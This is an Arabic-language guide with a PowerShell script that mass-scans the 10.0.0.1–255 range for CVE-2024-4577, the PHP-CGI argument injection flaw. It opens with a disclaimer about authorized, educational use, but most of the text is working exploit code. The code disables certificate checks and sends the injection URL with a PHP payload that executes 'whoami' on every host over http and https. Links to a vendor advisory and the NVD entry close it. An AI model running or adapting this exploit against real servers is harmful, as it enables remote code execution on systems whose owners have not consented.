
استخدم PowsrShell لمسح CVE-2024-4577
يرجى الملاحظة:
تأكد من أنك مخول لإجراء هذا النوع من اختبار الاختراق في البيئة المستهدفة، حيث أن استخدام تقنيات الهجوم دون إذن قد ينتهك القوانين ذات الصلة.
البرنامج مخصص للأغراض التعليمية والبحثية فقط، يرجى استخدامه ضمن الحدود القانونية والأخلاقية.
إذا كنت لا تفهم العواقب المحتملة لاختبار الاختراق، يوصى بتعيين خبراء الفريق الأحمر لإجراء الاختبار.
في البداية، قم بتعيين تجاهل التحقق من شهادة الويب
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
الحمولة الرئيسية للهجوم
$url = "${Protocol}://$IP/php-cgi/php-cgi.exe?%add+allow_url_include%3Don+-d+auto_prepend_file%3Dphp%3A//input+-d+cgi.force_redirect%3D0"
$body = "<?php system('whoami'); die(); ?>"
قم بتغليفها في دالة واستخدم Invoke-WebRequest المدمج في PowerShell لإرسال الطلب (يمكنك ضبط TimeoutSec بنفسك)
function Invoke-RequestForIP {
param (
[string]$IP,
[string]$Protocol
)
$url = "${Protocol}://$IP/php-cgi/php-cgi.exe?%add+allow_url_include%3Don+-d+auto_prepend_file%3Dphp%3A//input+-d+cgi.force_redirect%3D0"
$body = "<?php system('whoami'); die(); ?>"
try {
$response = Invoke-WebRequest -Uri $url -Method Post -Body $body -UseBasicParsing -TimeoutSec 2
return $response.Content
} catch {
return $_.Exception.Message
}
}
من خلال حلقة، قم بمسح النطاق من 10.0.0.1 إلى 10.0.0.255
$baseIP = "10.0.0."
$start = 1
$end = 255
for ($i = $start; $i -le $end; $i++) {
$currentIP = $baseIP + $i
foreach ($protocol in @("http", "https")) {
$result = Invoke-RequestForIP -IP $currentIP -Protocol $protocol
Write-Output "IP: $currentIP, Protocol: $protocol, Result: $result"
}
}
https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability
https://nvd.nist.gov/vuln/detail/cve-2024-4577